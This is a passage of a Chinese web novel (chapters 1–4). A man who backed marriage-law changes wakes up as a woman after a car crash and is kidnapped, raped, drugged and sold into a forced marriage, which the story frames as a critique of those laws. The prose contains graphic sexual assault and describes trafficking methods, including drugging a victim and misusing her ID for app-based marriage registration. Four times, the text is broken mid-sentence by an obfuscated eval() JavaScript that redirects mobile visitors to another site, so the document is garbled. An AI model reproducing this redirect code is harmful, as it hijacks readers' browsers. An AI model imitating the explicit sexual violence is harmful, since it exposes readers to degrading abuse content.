《我居然变成了女人?》 1. 车祸后变成了女人 【#离婚冷静期延长至三年,冷静期内任何一方可申请撤回#】即日起实施…… 【#婚姻登记新流程简化便民利民,新人在家通过app扫脸即可顺利操作#】即日起实施…… 干净舒适的车内,岳金群一边开车,一边听车内广播。 这两条关于离婚和结婚的新规正是他建议的,草案一经推出便争议无数,经历了长时间的反对风波,如今听到新规正式落地实施,岳金群不免志得意满,得意地哼起了歌。 他正在去找老婆的路上,三天前不小心让老婆发现了他养在外面的私生子,争吵推搡间,他又不小心打了老婆几下,老婆立刻置气搬去了酒店并向他提出了离婚。 岳金群颇为不忿,哪个成功男人没有几个女人?没有几个私生子? 再说她也没给他生个儿子啊,还能怪他找别人生吗? 在爱丁堡国,非婚生子与婚生子享有同等继承权,都是一视同仁的,他老婆这个女人真是没有继承一点传统女人的贤良淑德,宽容忍让,好女人的品质都丢了啊。 真是怀念以前的女人啊,哪会这么跟丈夫闹脾气,都是好日子惯的,岳金群不止一次暗自叹息。 如今听到这两条新规落地,岳金群愈发不着急了。 当初,老婆是他岳金群卑躬屈膝,俯小做低舔来的。 曾经岳父在事业上帮助他良多,虽然近几年老婆一家已经帮不了他什么了,岳父又在上个月过世了。但是老婆出身好,打理后方井井有条,从来不让他操心,又在一起这么多年,没有功劳也有苦劳,他们感情还没有破裂,还在一起养育了3个可爱的女儿,怎么也不至于闹到离婚的地步。 现在,婚姻新规落地,这婚,只要他不同意,那就离不了。 岳金群想通后也不打算去找老婆了,多晾她几天等她低头,掉头打算去看看新得的情人。 突然一辆货车斜冲过来,还不待他反应便如离弦的箭一般撞向岳金群,巨大的冲击力让车头迅速变形,岳金群感觉内脏都要被挤出来,无措间一块尖锐的碎玻璃以极快的速度直直从眼睛插/进大脑,一切都在瞬间发生,让人来不及反应。 在无意识之前,岳金群恍惚想起,这块碎玻璃正是来自新情人的化妆镜。 岳金群再次有意识,发现自己在一条小路,四下无人,不远处停着一辆破旧的面包车。 他不知道这是怎么回事,明明自己刚刚出了车祸,现在怎么是站在小路上,脑子一片混沌。 他在四处摸索间,发现自己穿了一件发旧的裙子,背着一个简单的布缝的单肩包,手、胳膊、腿好像都不是自己的,好像变瘦了,变细了,头发也变长了,他一时无法分辨。 岳金群四处张望,希望能找到点什么信息,自己到底是死是活?这是现实还是梦境? 不远处的面包车慢慢朝他行驶过来,后车门打开下来一个中年女人,穿着朴素,很是粗壮,看着有一把子力气,女人先向岳金群笑道: “姑娘,你一个人在这里干嘛呢?要去哪里,我们捎你一程,这里可不好打车。” 岳金群一惊,迷蒙的脑袋稍微清醒一点了,这个女人居然叫他“姑娘”?就是因为穿的这身裙子吗? 他朝车内一看,一个膀大腰圆的男人在驾驶位,后座还坐着一个精瘦的年轻男人,一笑露出满口黄牙,一种不知名的恐惧在岳金群心底蔓延,心跳好像漏了一拍,仿佛被什么可怕的东西盯上了。 岳金群也不知道为什么害怕,身为一个精壮的男人,以前都只有别人避让他,害怕他的份。从前在人少的路上、电梯里,女人或者瘦小的男人只敢用余光扫他一眼便飞快避开目光,从不敢与他对视。 他带着与生俱来的自信与从容,在这天地间,从来都是肆意舒展、昂首挺胸的。 但在这一刻他却仿佛置身恐怖电影,肌肉倏地紧绷起来,后背都慢慢渗出冷汗,窒息的恐惧感捏住了他的心脏。 “不,不用了。”岳金群发出了一道带着颤抖的女性声音,这令他非常绝望,这声音都不是自己的,这肯定是在做梦。 “快点醒来吧。”他在心里暗暗祈祷,一只手偷偷掐了一把自己的大腿,也能感觉到疼,但这疼好像蒙了一层,并不十分尖锐。这让他分不清,这究竟是真的疼痛,还是梦中的大脑告诉自己,被掐了应该疼。 岳金群拒绝后立刻转身,快步离开。 中年女人眼中闪过一丝狠色,快走几步,一把抓住他的手腕将他甩入后座,后座的精瘦男人反手将他的挣扎轻松压制住,两人的操作仿佛抓一只鸡那么简单,岳金群如同泄了气的气球,曾经引以为傲的力气一点都使不出来。 中年女人甩上车门后,破旧面包车飞快开走了。 岳金群趴在后座上,被精瘦男子死死压制着,如同鱼一样扑腾,却怎么也跳不出捕鱼者的手掌心。 精瘦男子膝盖重重抵住岳金群的后背,将他牢牢盯在座椅上,一只手将他的两只手都压过头顶,另一只手掏出绳子绑住岳金群的双手,又将岳金群的双脚也绑住,嘴也被一块破布塞上。 岳金群只能无力的任由他做这些,微弱的反抗丝毫不起作用,如同生过一场大病,魂魄不能完全掌握身体一般虚弱。 精瘦男子见把他捆好了,捏起他的脸仔细看了看,肆意上下揉弄着他的身体,对前排人说道:“这次的货不太好看,要不是穿着裙子,我都要以为她是男人了,估计卖不上什么好价。” 前排女人偏头看向被压着的岳金群,对男子警告道:“不管长什么样,只要是个能睡、能生孩子的女人,都能卖。老二,你可别碰她啊,上次好不容易抓到一个雏儿,还他爹的便宜你了。” “嘿嘿嘿,嫂子,这个也不一定是雏儿啊。”名叫老二的精瘦男子摸的放肆了,看到开车的大哥也警告地瞪了他一眼,才忙举起双手,求饶般地道:“好好,我绝对不乱碰她,但是也有其他路嘛,我走后门总行了吧?” “狗改不了吃屎。”女人嫌恶地骂了一句,戴上耳塞,转过身去目视前方。 岳金群艰难忍受着男人在他身上乱摸,目眦欲裂,使劲偏头死死盯着压住他的男人,怒吼堵在喉咙里,怒火从脊背猛窜到后脑,激得他一阵阵晕眩。 岳金群不知道怎么回事,在他们的眼里,他竟然变成了女人,他也确实看到自己穿着裙子,胸部不再平坦,头发变长,胳膊和腿都明显变细,感到自己力气也小的可怜,但是他居然变成了女人,这怎么可能? 他居然变成了自己以前从骨子里就看不起的女人,还被这几个人给绑架了,这几个人还打算把他当女人给卖掉? 岳金群觉得命运给自己开了一个天大的玩笑,难道车祸后自己已经死了,穿越重生到一个女人身上? 老二重新将目光聚焦到岳金群身上,发现这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730139|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女人虽然长得偏男相,但是挺白嫩的,身材也挺有料,淫/笑着上下其手,看着岳金群杀人般的目光,享受似的笑了笑,呲着一口黄牙舔了舔岳金群被破布撑开的嘴唇,迫使她跪在座椅上,将两人重点部位的衣物都扒了下来。 岳金群被摆弄成臀部上翘的姿势,鼻子被压进脏污的座垫里,只能够勉强呼吸,每一口吸入的气体都充满浑浊腐朽的味道。 感受着老二褪下了自己的重点部位衣物,岳金群知道他想要做什么了,奋力扭动挣扎,喉咙里的声音越发急切,但是老二单手就轻轻松松按住他,紧接着身体仿佛被插/入了利剑,还是最柔嫩的部分受创,体检的指检也没有这么疼过。 虽然岳金群平日和情人们也荤素不忌,各种姿势,各种类型都尝试过,兴致来了他也会走后门,也会用各种玩具,但是彼时岳金群是施加方,而情人们是承受方。 以往看着情人们就算疼痛,也极力忍耐讨好的样子,他如帝王般享受又快意,而今自己作为承受方,岳金群却觉得自己快要被弄死了,眼睛也因为疼痛泛起了生理性水雾。 岳金群有一种“怎会如此”的荒唐感,他宁愿自己车祸立刻死了,现在是这么的不真实,做梦一般,只求这个梦赶紧醒来。 终于,凌迟般的酷刑结束,老二放开了他,将他随手推到一边。岳金群只觉得火辣辣的疼,这时候的疼痛尖锐而具体,有什么粘稠的液体顺着大腿流下来,应该混合着血液,他的眼泪也随之掉落下来,满腔的屈辱愤怒要爆炸开来,恨不得杀之而后快。 他凭着一腔怒火,弹跳起来,用头狠命撞击老二的脸部,趁着老二没反应过来,又是一阵乱撞。 前排一男一女都偏头向后看来,中年女人探过身子按住他,老二得以喘息,抹了一把鼻血后,伴随着污言秽语,雨点般的拳头便朝岳金群砸来,直把岳金群打的奄奄一息,在后座上再也反抗不能。 “行了,别打死了。”中年女人急忙制止,看这个女人都出气多,进气少了。 老二仰在靠背上休息了一阵,把岳金群身上的背包扯下来查看,见里面只有一张ID卡,兴奋地向大哥和嫂子邀功,“大哥,嫂子,我刚才用她的ID编号查了下,她现在还是未婚状态,现在咱们爱丁堡国刚刚施行了结婚登记新政策,有她的ID卡编号,在家扫脸就可以登记结婚,嘿嘿,能有更多钱了。” 中年女人终于高兴过来,赞赏的看向老二,“太好了,领了证就难离了,跑了都能抓回来,根儿都攥在领了结婚证的丈夫那呢。老二,你把她的ID卡收好了,咱们单独加钱卖。”三人都高兴地笑了起来,车内一时充满了欢快的气氛。 “原来你叫“岳金裙”呀。”老二翻弄着ID卡,将名字指给岳金群看,冲他笑道,“裙子的“裙”,正好你也穿着裙子,看来你很喜欢裙子嘛。” “是不是因为方便脱呀?”老二在岳金群耳边意有所指地坏笑道。 岳金群却仿若未闻,睁大眼睛愣愣看着ID卡上的信息,给不了任何反应,只见上面写着姓名:岳金裙,性别:女,地址就是自己老家的地址,ID编码和自己以前的编码只有出生年份和性别数字之差。上面的照片与自己的长相如此之像,只不过是长发。 仿佛一把铁锤猛敲在他脑袋上,岳金群有一种恍惚感,好像自己作为男人的40多年是虚幻的,自己的名字到底是哪个字?自己到底是男还是女? 2. 被带进深山 “怎么还愣了呢,被x傻了?”老二拿着ID卡在岳金群面前晃一晃,见她还是毫无反应,撇一撇嘴,索性也不管了,人还活着就行,随手将ID卡塞进自己包里。 破旧面包车驶出城镇,一路畅通无阻,沿着连绵不绝的山路疾行,越过一个又一个村落,直往最深处而去,仿佛奔向世界尽头,最终开进一个人迹罕至的村子。 四下寂静,偶见一两个老人孤独地坐在自家门口,面容麻木,僵硬如木偶一般,看到车子开过,眼神追随而去,车子消失后又继续发呆。 面包车最终停在了一户院子里面,屋内出来一个50多岁的干瘦男人,见车进来,赶紧去把院门锁上。 中年女人跳下车,娴熟地跟干瘦男人打招呼:“花叔,带货回来了。” 随后打开后车门,和老二一起连拉带推把岳金群弄下了车。 看到岳金群身上的脏污,中年女人嫌弃骂道:“老二,看你干的好事,也不说给她擦擦,都弄到车上了,你去把她和车都洗干净。” 老二嘿嘿笑几声,拉过岳金群,将她拽到院子的水瓮旁,挂到旁边墙上的锁链上,舀起水便往岳金群身上泼。 又见岳金群身上的污渍都干燥成痂,只泼水冲不干净,便打开电闸开关,如冲洗猪羊般,拿着水管冲洗岳金群。 一会儿画成o形,一会儿画成s形,看着岳金群浑身湿透,闭着眼睛躲闪的笨拙样子哈哈大笑。 岳金群避无可避,高压的水流从水管冲出,小锤般不断击打。 现在虽是夏季,但是水管内的水是从地下直接抽上来的,猛地被冲洗,微风一吹,冷得人发颤。 被冷水一激,岳金群全身都痛得麻木,脑子里只有一个念头: 这一切一定是梦,醒了就好了。 院内的两男一女一起走进客厅,驾驶座男人对花叔道: “花叔,这个村您最熟悉,待会您给村里没娶上媳妇的人家打个电话吧,先打给以前就有意向的,看谁家想要,可以来看。赶紧把她处理出去,免得夜长梦多。” “好,我先让程老根家来看,他老早就跟我说过了,想给他家40多的儿子娶个媳妇,好歹传个香火。”花叔应道,“先吃饭吧,早做好了。” “老二,把她拴到里屋去。”中年女人走到门口冲老二喊道。 “知道了,这就来。” 老二也不玩了,放下水管将岳金群扯到屋内,拴在床柱上, 中年女人走进来,对岳金群说道:“我问你几句话,你老实回答,也别想着喊人,实话告诉你,这屋子隔音很好,附近根本没人,而且这个村的人我们都认识,他们都想娶个媳妇,不会有人帮你的。” 中年女人扯下岳金群塞嘴的破布,问道:“你以前跟过男人吗?” 岳金群不知道怎么回答,因为他根本不知道,没有这具身体的记忆。 他也不敢呼救,他相信这女人的话,他原本出身的小村子里就有来路不明的女人。 他知道对于外来的女人来说,一整个村子的人都是冷漠的旁观者,甚至会是帮凶。呼救不仅极有可能得不到救援,反而被打得更惨。 中年女人看他不回答,以为他故意不配合,便对老二使了个眼色,老二立刻会意,将岳金群压在床上,掰开了她的双腿。 中年女人用手检查了一下,以她多年查人经验来看,这个女人还是个黄花闺女。 岳金群没想到他们会这样对他,疼的他大叫出声,全身都在用力挣扎,突然的爆发让老二险些按不住他。 老二照着岳金群的腹部猛锤两拳,岳金群如虫子一般蜷缩起来,再也反抗不能。 重新将破布塞进岳金群的嘴里,老二检查了一下捆绑在他身上的绳子,笑着拍了拍岳金群的脸:“乖乖呆着吧,还少受点罪。” 随后大步走了出去,并锁上了房门。 待腹部疼痛慢慢消退后,岳金群已经出了一身冷汗,缓缓坐起来打量这间屋子。 空间狭小,灰扑扑的墙面没有粉刷,四面无窗,阴暗潮湿,只放了一张单人床,还有隐隐的霉味从床上传来。 天花板很高,估计得有四五米,只吊了一个灰暗的灯泡,岳金群在床上、墙上看到了血渍、头发,还在墙上看到了层层叠叠的抓痕,就如一个个无助的女子在遭受侵害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730140|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时、被殴打时、彻夜恐惧无眠时痛苦的缩影。 岳金群从未想过自己会变成女人,会落到被绑架、被拐卖、被殴打的境地。 虽然幼时家庭贫困,但也能够吃饱穿暖,家庭资源汇于一身,小皇帝一般长大。 他学习成绩很好,一直都是父母和老师的重点关爱对象,后来考上大学,又迎娶白富美的妻子,事业爱情双丰收,一直以来都是顺风顺水。 婚姻生活的唯一缺憾就是妻子没有生出儿子,但是他也已经找别人生下了儿子,在他的计划中,自己的事业和财产也会大部分给儿子继承。 在提出离婚冷静期延长至三年和结婚登记在家扫脸时,反对者也提出了会增加妇女被拐卖风险,提升拐卖犯罪的定罪难度,若有家暴情形还会增加离婚冷静期内的生命安全风险,加剧离婚的难度。 但是岳金群摸爬滚打这么多年,他早已摸清社会规则,知道自己的建议最终会被采纳。 这些反对声音岳金群从来不会在意,他也相信大部分男人都不会在意,只会有着高高在上的洋洋得意。 因为增加被拐卖风险的是妇女,而不是作为男人的自己。被殴打,有生命安全风险的同样是弱势的妇女,而不是强壮的自己。 岳金群不知道是不是以前的所作所为反噬到了自己,所以上天也让他做一回女人,承受自己建议的可能恶果。 他终于罕见的开始反省自己,试图找一找自己的错处,但是他不理解,不明白,也觉得不公平,凭什么是他? 他不过是爱丁堡国最普通,最平常的一个男人罢了,他的所作所为,大部分男人也都做过,也互相认同,互相遮掩,互相夸赞,互相效仿,在约定俗成的规范内行事罢了,不高风亮节,也远达不到罪大恶极。 岳金群无力地颓在床头,头靠着拴在床柱的胳膊,屁股还是火辣辣的疼,经过中年女人的一番操作,疼的地方又增加了一处。 他的头发一缕一缕地贴在脸上和脖子上,湿透的裙子黏在身上,又累又渴又饿,他以前都是体面又光鲜的,何曾这么狼狈过,此刻听着外面推杯换盏的笑声,不知道等待自己的又会是什么。 3. 被嫁了 众人吃过饭后,天已经黑下来,花叔打电话给程老根后,还没等中年女人收拾完桌子,程老根父子已经赶了过来,微微带喘,足见其心急。 花叔起身迎道:”老弟,不用急,我第一个找的你们家,其他家还没通知,我们先看看货吧。” 边说边带他们走向关押岳金群的屋子。 岳金群被他们开门的声音吓了一跳,直起身子警惕地看着走进来的一群人。 “姑娘,这就是我们给你找的男人,程有柱,跟了他回家你可就享福了,人老实本分,绝对会好好对你。” 中年女人指着程老根儿子程有柱,向岳金群介绍道。 新带进来的两个男人黑黢黢的,典型的经历风霜雨雪加暴晒的老农模样。 衣服脏污破旧,能看出来是想要好好打扮,衣服是新换上的,还没蹭上新的灰尘,但是未彻底洗干净的脏污早已深入衣服纹理。 较老的男人枯瘦干瘪,皱纹爬满全脸,最起码得有五六十岁了。 较年轻的男人又矮又胖,衣服被肚子高高顶起,岳金群都怀疑他是个球体,刮个风都能飘起来。 这两个男人看向岳金群的眼神如同挑物件一般,带着评判与挑剔,恨不得把他的衣服扒了仔细瞅瞅。 岳金群往日的生活可以说是“谈笑有鸿儒,往来无白丁”,多少年没看到过这么符合刻板印象的人了,仿佛发展倒退了三十年,他之前见过的普通农村人也没有他们这样的,最起码衣服整洁,精神面貌良好。 他低下头不做任何回应,他知道,现在做任何反抗都是徒劳,还会徒增皮肉之苦,还不如假作顺从,等一等逃走的机会。 “大姐,她是男的还是女的?别是找个男的套裙子骗人吧?” 程有柱对岳金群的长相不太满意,程老根也跟着一起点头。 岳金群发现这个程有柱说的可能是方言,他分不清是哪里的,只能勉强听懂部分字眼。 “不能够,你别光看她的脸,她可是如假包换的女人,看这有胸有屁股的。脸又不能给你暖被窝,脸又不能给你生孩子,重要的是还是个黄花闺女,到时候灯一拉,被子一盖,有你小子的美事呢。” 中年女人一边同样用方言向程有柱解释,一边走向岳金群,不顾他的挣扎,直接将他的衣服扒掉扔在一边,脱个溜光,任由屋内男女查看。 看他僵硬得像个木头,还在他屁股上拍了一巴掌,疼得他身子一颤,一瞬间,射/在他身上的目光更加火热。 岳金群虽然现在对这具女性身体还没有归属感,以前做男人的时候也曾找个电线杆就撒尿,但是此时多个男人的目光照射过来,还不断扫射他的重点部位,仍让他有种被迫当街裸奔的羞耻与愤怒。 这跟在澡堂子里大家□□冲澡不一样,这跟在厕所里脱裤子尿尿不一样,这跟在女人面前赤身裸体更不一样。 这些男人的目光灼热猥琐,带着打量与玩味,恨不得要钻进他的身体里去,他们脑子里有什么淫邪想法,曾作为男人的他再清楚不过了。 以前他也是其中一员,带着上位者的傲慢肆意欣赏女性的美好与羞怯,但他此刻作为被凝视者,只觉得恶心。 他慌忙用床上潮霉的被子勉强遮住重点部位,艰难转过身去。 “这是个女人?但是长得也太像男的了。” 程有柱还是想要一个好看点的,“还有其他女人吗?” “老弟,有柱,有这头茬好姑娘,我可是第一个就通知了你们家,我一直想着你们家呢,其他人家我都没通知。” 花叔向在场的人都各派了一支烟,室内很快烟雾缭绕。 花叔继续道:“你们也知道外面查的有多严,小姑娘们警惕心都高,货不好找啊,这都多久了,就找到这一个。 咱们村娶二婚,娶带孩子的多了去了,就算以前给别人找的媳妇,也不是个个是黄花闺女啊。咱们村没媳妇的光棍这么多,有人傻子、疯子都要呢,你们家要是不要,我就给别人家了。” “这姑娘还有ID卡,还可以办理结婚登记,咱们爱丁堡国最新的婚姻登记政策,只需要在家扫脸就可以登记结婚。 等登记了,这姑娘就是你们家的合法媳妇,只要你们家不同意,就离不了婚,跑了都能抓回来,打她都是家务事,谁都管不了。”驾驶座男人保证般地说道。 ”以前的姑娘可都没有ID卡,跑了也没法找回来,钱都白扔了。你们要是同意,待会就让老二帮你们操作,今天晚上申请,明天就能登记成功。”驾驶座男人深吸一口烟,吐出一个烟圈。 “这姑娘还可能是个大学生呢,我们是从城里把她带回来的,附近就有一个大学,到时候给你生个儿子也考大学,你们家就能出个大学生,祖坟都得冒青烟儿。”中年女人也插了一嘴。 众人七嘴八舌,哄骗带威胁。 “挑什么挑?你有什么资格挑?有个媳妇就不错了,到时候生下个儿子,传下我老程家的香火,我也是对祖宗有交代了。” 程老根举手打向儿子,唯恐儿子的话让花叔他们不满,要不要这个女人不要紧,但是不要这个,花叔他们要是以后不帮自己儿子找媳妇了,有柱还怎么娶媳妇?要是有其他娶媳妇的办法,早就娶了。 “这个什么价?”程老根向花叔问到。 “和以前黄花闺女的价一样,再加上1万的ID卡婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730141|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姻登记。”花叔报出早已商议好的价格。 “这么贵?能不能再商量下,少点,这姑娘确实长得……我们家这情况又不好。”程老根无意识搓着裤缝,局促地看向花叔。 “老弟,真便宜不了,我花叔做生意从来明码标价,一直都是这个价钱,怎么也比你家自己娶便宜,又要买房买车给彩礼的。 这姑娘是因为能够ID卡登记才又加了1万,我们也不容易,这么多人冒着这么大风险大老远送过来。”花叔不容拒绝地回应。 “你们家不就是在攒钱娶媳妇嘛,你一直催我,我还以为你们家攒够钱了呢,要是还不够,你们就再攒攒,这姑娘我让别人领走吧。” 看这父子俩还在犹豫,花叔也不惯着,上赶着不是买卖,花叔带着大家向外走,又摸出了手机,一副要再给别的买家打电话的样子。 “爹,不然就这个吧,我想早点娶媳妇。” 程有柱几乎不错眼地盯着岳金群的身体,小声跟程老爹说道。 众人慢慢走到客厅,又将岳金群所在的房间锁住了。 “就这个吧,我们买这个了,帮忙给有柱和这姑娘办一下结婚登记吧。我这就给你们拿钱去。”程老根看儿子都同意了,就赶紧说道,他也想早点抱孙子啊。 交钱后,中年女人给岳金群换了一身干净衣服,老二拿着两人的ID卡带着程有柱又走进了关押岳金群的屋子。 “金裙,这就是给你找的男人,以后好好跟着他过日子。我这就给你们申请结婚登记,为了防止你乱动,给你喝点好东西。” 岳金群又能听懂老二说的话了,原先在屋内,他们互相的交流都是用的方言,他听不太懂,但是勉强能够猜出是卖家和买家的对话,而那个交易的商品,就是他岳金群。 岳金群不断地摇头表示拒绝,但是老二和程有柱按住岳金群,灌了他一口水似的药。 老二看着岳金群喝了药后眼神都变空洞了,得意一笑。 这种药可以让人在短时间内失去自主意识,但对外界声音能够做出简单的回应和动作,在其他人看来会跟正常人一样。 在控制人方面最好用了,他们以前也用这个药弄到手过不少女孩子。 老二快速操作app,根据指引进行ID编码输入,双人合照上传及扫脸等一系列流程,成功提交了婚姻登记申请。 “这就行了,有柱,金裙你就带走吧,她一会儿就清醒了。等明天婚姻登记申请通过了,我让花叔把结婚证下载下来发给你,你保存好就行了。新婚快乐。” 老二坏笑着给出新婚祝词,将岳金群从床柱解下来,又用绳子将她的手捆住,方便程有柱父子带走。 4. 逃跑 岳金群清醒后发现自己走在路上,双手被捆着由程有柱在前面牵着,时不时向后看向他。而身后跟着程老根,不错眼地盯着他,唯恐家里最贵的物件,延续香火的希望跑了。 他不知道在自己无意识期间他们到底做了什么,难道真的已经登记结婚了? 岳金群观察了一下,现在已是黑夜,四下无人,不同于城市夜晚的灯红酒绿,车水马龙,农村的夜晚没什么走在路上的人。只有经过房屋时,偶尔传来的电视声音。 这个村子房屋排列稀疏,屋子外面就是一小片菜田环绕,天空有乌云飞驰,月色将挡未档,光线朦胧,看不清田里都有什么植物。 岳金群觉得这是一个可以尝试的逃跑机会,要是真被这对父子带到家中,肯定被看押的更紧,逃跑机会更加渺茫,而且他不愿意被男人睡,更不用说生孩子。 他攥起牵着他的绳子,悄悄蓄力,待走到一处房子附近时,趁着程有柱看完他,又看向前方,猛地一拉绳子,同时抬脚踹向程有柱,将程有柱踹得一个趔趄。 趁着程老根惊慌下去扶儿子,飞速朝着房子背面跑去。 岳金群肾上腺素飙升,心脏砰砰直跳,呼吸凌乱,仿佛又回到了以前压力大时,偶尔会做的被追逐的梦。 那时在梦里,仿佛有什么怪物在追着自己,他也经常在一排房屋前面跑,想要跑进某一家躲避,但是房门全部都是上锁的,求救无门。 他多希望现在也是梦啊,多希望自己能够像以前一样突然惊醒,翻个身继续睡,等醒来后,关于噩梦的记忆全部忘掉。 但是身上的疼痛,奔跑的濒死感告诉他,这里是如此的真实。 岳金群绕着房子跑了半圈,他双手被绑,现在不方便解开,根本跑不快,全靠最开始拉开的一点距离才没被追到。 但他现在是女性的身体,又累又饿,他能感觉到,他快没力气了,也许就在下一瞬,也许只需要路上一个小小的石头或树枝绊一下,他就要扑倒在地。 别看程老根已经上了年纪,但是他成天在田里或者外出务工干体力活,奔跑的速度甚至超过程有柱,一边追一边喊,让岳金群站住。 岳金群感觉他们快要追上来了,仿佛呼吸声就在身后,仿佛一个伸手就能抓住他了,他不能一直跟他们兜圈子。 在又一个拐角的时候,趁着程有柱父子还没跑过来,他跑进了菜地,匍匐在地上,隐入半人高的菜地中。他尽量调整呼吸,用牙齿咬开捆绑的绳子,心脏快要跳出嗓子眼。 风雨欲来,有大片乌云遮住了月光,闷雷在天际翻滚,四周更是黑得不见五指。 程有柱父子跑了一段,听不到前方脚步声。 “爹,停一下,前面没声音了,她是不是躲到菜地里去了?” 程老根也怀疑她躲到了菜地中,但是也怕她真跑远了,跟儿子说: “我继续往前追,你在菜地这里找,我待会儿来菜地找你,放心,跑不了她的。” 程有柱进入菜地一寸一寸蹚着走,用尽眼力,想在这不见五指的黑暗中找到岳金群的存在。 起风了,越来越大,叶片簌簌作响,打在程有柱身上,头上,眼睛里,他更加什么都看不清。 一道闪电划过天际,程有柱似乎看到地上有东西,怀疑是岳金群,待走过去,又什么都没有,这时大雨又紧又急,倾盆而下。 ”有柱,你在里面吗?我没找到,你找到人了吗?”程老根气喘吁吁地跑回来,朝着菜地叫到。 程有柱被大雨冲刷,不断用手去抹脸,什么都看不到,越来越心烦,一股怒火在胸腔蔓延。 正好听到父亲的声音,仿佛有了宣泄口一般,气急败坏地吼道:“没有!她娘的到底跑哪里去了,日她姥姥的,等老子找到她了,看老子不打死她。” 程有柱一边大声叫骂着,一边推搡摔打着往外走。 原本是他进入菜地,踩坏了菜苗,破坏了菜地原本的宁静,但是此刻阻挡他的菜苗仿佛是他此生最大的敌人一般,肆意被践踏推搡着,承受着一个无能男人的怒火。 “没事没事,有柱,她一定跑不了,她就是我们家的媳妇。”程老根赶紧去接儿子,安慰道: “我找了一圈没找到,她也跑不快,就在菜地这里没了踪影,我看她就在这菜地里,就算没在菜地里,她也一定没跑远。” “但是现在又下大雨,天又黑,什么都看不到,我什么都没找到。”程有柱走了出来,余怒未消,气得捶胸顿足,哇哇大叫,“她要是跑了,媳妇没了,钱也打水漂了。” “有柱,我在这守着,你回去拿雨伞和雨衣去,我打电话把咱的亲戚都叫来,咱们一起找,我就不信了,咱们把这个村翻一遍还找不到。” 程老根迅速做出决断,不能再拖了,不管她在不在菜地里,只有他们父子两个找,就怕一个疏忽让她彻底跑了,需要叫来更多帮手,冒着雨也要找到她。 “好,我这就回去拿雨衣。”程有柱一秒也不想再淋下去,立刻往家跑。 岳金群抹一把脸上的雨水,感谢这场大雨,让程有柱父子没那么容易找到他,但是他不能再在这个菜地藏着,等程老根叫来更多的村民,他就会彻底无路可逃。 雨水和雷声能够很好地遮掩岳金群爬行的声音,他看程老根站在菜地外打电话叫人,转移了注意力,于是悄悄从离程老根最远的地方爬出了菜地,又贴墙匍匐爬行了一段,才站起来悄悄跑动。 很快岳金群听到了人声和脚步声传来,越来越多,手电光四处照射,狗吠声连绵不绝,他更加紧张,颇有种四面楚歌,十面埋伏的感觉。 绝望的窒息感让他心脏仿佛被挤压成一团,好像被恶鬼包围,下一次抬头就要直面人世间最恐怖的场景,他恨不得大叫来宣泄这种压抑,恨不得跳出来自曝,尽快结束这种一圈圈缩紧的恐惧。 岳金群只凭着一丝丝理智支撑着自己,他不知道还能坚持多久。 他在面包车被运过来的时候全程被压在座位上,根本没看到怎么进来的,连出村的路都不知道,只能抓瞎乱走,他在心里默默祈祷,只求再多一点点运气,让他能够顺利逃出去。 找他的人越来越多,岳金群尽量走有遮挡物的地方,幸好这个村子各种植物和树比较多,能够稍微遮挡一下,大雨和黑夜很好地掩饰了他的踪迹。 但是他知道,他不能再这样走下去,他的体力已经透支,这个村子倾巢出动找他,迟早会被他们找到。 整个村子都喧闹起来,岳金群感觉后面的人声越来越近,他走到一户房屋前,见门开了一条缝隙。 这户人家可能也出去找他了,里面可能没有多少人,他决定赌一赌,在这户人家找个地方藏一会儿,顺便找点吃的。 轻轻推开门,进门后是个小院子,与外面一样漆黑一片,只有屋内有微弱的光线传来,岳进群向着屋子走去,通过窗户往里面瞧。 只见里面客厅沙发上坐着一个四肢干瘦却挺着大肚子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730142|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女人,从这女人脸上还能看出曾经的秀丽,脸上、身上有着不同程度的伤痕和淤青,束缚她的铁链由天花板延续到女人脖子上。 女人也看到了他,顿时激动起来,带动铁链发出碰撞声,干涸的双眼仿佛点燃了火焰,双手挥动,声音低哑: “你是被他们到处抓的女人吗?你进来,你进来,这里就我一个人,其他人都去抓你了。” 终于找到一个不说方言的人了。 